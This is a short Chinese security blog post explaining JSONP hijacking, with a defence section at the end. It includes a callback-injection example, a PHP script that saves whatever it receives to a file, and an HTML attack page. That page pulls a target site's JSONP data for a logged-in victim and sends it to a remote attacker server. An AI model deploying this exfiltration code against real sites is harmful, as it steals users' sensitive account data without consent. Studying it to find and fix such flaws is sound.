JSONP漏洞

JsonP是一种Json的"使用模式",可以让网页从别的域名(网站)获取资料,即跨域读取数据。
为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP )呢?这是因为同源策略,同源策略,它是由 Netscape 提出的一个著名的安全策略,现在所有支持 JavaScript 的浏览器都会使用这个策略。传入 callback 值会在结果里面直接返回。因此,如果该参数过滤不严格。可以随便输入:callback 值为:alert('1'); parseResponse 字符串,返回结果会打印个 alert 窗口,然后也会正常执行。

images

远程文件写入代码:

<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>

jsonp劫持代码:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
function test(data){
//alert(v.name);
var xmlhttp = new XMLHttpRequest();
var url = "http://192.168.0.121/1.php?file=" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://www.exp01.com/json.php?callback=test"></script>
</head>
<body>
</body>
</html>

测试结果:
当受害人登入网站之后 访问这个页面时,会自动把接口 user.php 的敏感信息发送到远程服务器上,如果获取到信息就会在远程服务器上生成 json.txt

利用方式

查看url中是否存在callback值等类型的回掉参数。

防御方式

json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用 xmlhttp 的方式作为数据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据,如果是跨域的数据传输,必须要对敏感的数据获取做权限认证。

posted @   KAKSKY  阅读(54)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· 单线程的Redis速度为什么快?
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
点击右上角即可分享
微信分享提示